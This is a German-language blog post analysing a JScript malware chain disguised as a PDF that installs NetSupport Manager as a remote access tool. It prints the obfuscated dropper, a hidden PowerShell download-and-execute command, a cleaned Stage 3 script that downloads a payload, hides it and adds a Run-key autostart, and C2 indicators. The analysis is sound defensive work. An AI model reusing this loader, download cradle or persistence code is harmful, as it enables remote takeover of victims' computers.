--- title: "JScript delivered RAT" date: 2023-04-28 draft: false --- # *DISCLAIMER* **Das Herunterladen und ausführen von Malware, auch zum Zwecke der Analyse, ist gefährlich. Ich übernehme keinerlei Haftung für etwaige Schäden bei Nachahmung!** | UPDATE | |-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Neuere Varianten dieser Malware verteilen nicht direkt die jscript-Datei, sondern eine HTML-Datei, die im Javascript erst eine Zip mit dieser JScript-Datei baut! | ## Einführung In diesem Blogeintrag möchte ich einen kleinen Einblick in die Analyse bzw. das reverse-eingineering von Malware geben. Hier anhand einer Beispielmalware, die über Mehrere Stufen letztendlich "NetSupport Manager" als Remote Access Tool (RAT) installiert. Auf den ersten Blick scheint die Datei vergleichsweise harmlos, insbesondere wenn man z.B. in Windows nicht aktiviert hat, dass der Dateiname vollständig (inkl. Endung) angezeigt wird. ![Screenshot der Dateivorschau](/img/blog/Screenshot_from_2023-04_28-08-50-24.png) Sollte ein Windows-User die Datei zum öffnen Doppelklicken, wird sie, statt wie zu erwarten im konfigurierten PDF-Viewer angezeigt zu werden, vom [Windows Script Host](https://de.wikipedia.org/wiki/Windows_Script_Host) mithilfe dessen JScript-Engine ausgeführt. ## Stage 1 Die initial heruntergeladene Datei ist sehr stark [Obfuscated](https://de.wikipedia.org/wiki/Obfuskation), was das Reverse engineering deutlich erschwert. Ein relativ einfacher Trick ist hier jedoch, die eigentlichen Aufrufe, die die nächste Stage herunterladen wollen, so umzubauen, dass sie statt dem eigentlichen Aufruf jediglich den entsprechenden Code ausgeben: ```js LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); FNwMBmgDjPdaInUxO[V1(0x39, 'bmzj')](V3(0x85, 'KWPY')) == ![] && CkMPuJXlbEaniIF[V3(0xac, 'ClZu')](PoHdrRpqKNwXVGyEDMO, V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); ``` _Hier erstellt die Malware ein ActiveXObjekt mit der nächsten Stufe und führt diese aus._ ```js LRVydqTXzFWJIfh = l(0x46, 'psLt'), PoHdrRpqKNwXVGyEDMO = V0(0x12, 'J7Hu'), CkMPuJXlbEaniIF = new ActiveXObject(LRVydqTXzFWJIfh + '.APPlIcatioN'), FNwMBmgDjPdaInUxO = new ActiveXObject(V1(0x3a, '3NAk')); console.log(FNwMBmgDjPdaInUxO + V1(0x39, 'bmzj') + V3(0x85, 'KWPY')) ; console.log(CkMPuJXlbEaniIF + V3(0xac, 'ClZu') ) console.log(PoHdrRpqKNwXVGyEDMO + V5(0xbb, '^B7D') + LRVydqTXzFWJIfh + V0(0x14, 'O7y)') + V3(0x8f, 'EFHx') + V5(0x87, 'xnQ2') + 'kAG8AdwBuAGwAb' + V0(0x4b, '$gV2') + l(0x9d, 't[sl') + '0AH' + V1(0x3, 'T1lY') + 'dAB0AHAAcw' + V1(0x27, 'K!KR') + V3(0x22, '0N#q') + V4(0x9e, '3ZuB') + 'AGgAcwB1AHAAcABsAHkAdQBzAC4AYwBvAG0' + V3(0x48, 's#8T') + 'BsAG8AYwBhAGwAc' + V5(0x2c, 'YL@E'), '', V3(0x71, 'l!tn'), 0x0); ``` _Der gleiche Teil des Codes, aber entschärft und mit print-Statements. Das "ActiveXObject" ist jetzt eine einfache Klasse mit String dahinter._ Wenn man diesen Code dann mithilfe von NodeJS ausführt, erhält man den folgenden Output: ``` remnux@remnux:~/Analysis/nitrogen-diet-florida-monkey$ node nitrogen-diet-florida-monkey.js ShElL.APPlIcatioN scriptIng.fIlesysTemobjeCt [object Object]FolderExistsC:\userss [object Object]ShellExecute cmd/C POwerShElL -nop -w hidden -ep bypass -enc oPen 0 ``` der Base64 kodierte String enthält diesen Powershellbefehl, der die nächste Stufe der Malware herunterlädt. ```powershell IEX (New-Object Net.Webclient).downloadstring("") ``` ## Stage 3 Stufe 3 der Malware ist ein Powershell-Skript, das auch wieder obfuskiert ist, z.B. durch seltsame Groß/Kleinschreibung, String-Formatierung und großzügig verteilten \`, die in Powershell als Escape verwendet werden (im Gegensatz zu den meisten anderen Sprachen, die \\ verwenden). Zudem wurde der gesamte Code in eine Zeile geschrieben. ```powershell {rn`UM}=&("{2}{0}{1}"-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&("{3}{2}{0}{1}"-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=("{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.("{0}{1}{2}{3}" -f'New-O','bje','c','t') ("{1}{0}{3}{2}"-f 'm.Ra','Syste','m','ndo'); ``` _Ausschnitt aus dem Originalcode_ ```powershell #!/usr/bin/env pwsh &('cd') ${ENV:appdata} ${link} = "https:///wp-content/plugins/giveme.php" ${rnum} = 5 ${rrnum} = 1337 ${chrs} = "abcdefghijklmnopstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ" ${rstr} = '' ${ran} = .(New-Object System.Random) for (${i} = 0 ${i} -lt ${r`NuM} ${I}++) { ${rstr} += ${chrs}[${ran}.next.Invoke(0, ${chrs}."length")] } ${rzip} = ${rstr} + ".zip" ${path} = ${ENV:`APPDATA} + '\' + ${rzip} ${pzip} = ${ENV: APPDATA} + "\ONEN0TEupdate_" write-host (Start-Bitstransfer) -Source ${link} -Destination ${path} &(Expand-Archive -path ${path} -destinationpath ${pzip}) ${fold} = &(Get-Item) ${pzip} -Force ${fold}.Attributes = Hidden &(Remove-Item) -path ${path} &('cd') ${pzip} Write-Output Start client32.exe ${fstr} = ${ENV:appdata} + ".\ONEN0TEupdate_1337\client32.exe" ${rnm} = ONEN0TEupdate_1337 Write-Output New-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name ONEN0TEupdate_1337 -Value ${fstr} -PropertyType String ``` _Stage3, aufgeräumt und vereinfacht_ Stufe 3 ist die Stufe, die letztendlich die eigentliche Payload herunterlädt. sowie einen Autostart-Registrykey erstellt. Bei der Payload handelt es sich um eine vorkonfigurierte Version von NetSupport Manager, die sich mit dem C2-Server verbindet. ## IOCs ### C2-Server * blahadfurtik.com:5222 (IP: 89.22.237.94 ) ### Lokal/Filesystem * Ordner mit dem Namen "ONEN0TEupdate\_XXXX" in `C:/Users//AppData/Roaming/` * Registry-Key unter `HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` mit dem gleichen Namen wie der Ordner in Appdata und zu client32.exe in diesem zeigend ----------- Verwendetes Sample: SHA256:00d87e984f0fcd2e8fb55e4b83d86027dac67fd073958a95cbc98961ab940f4b Quelle: bazaar.abuse.ch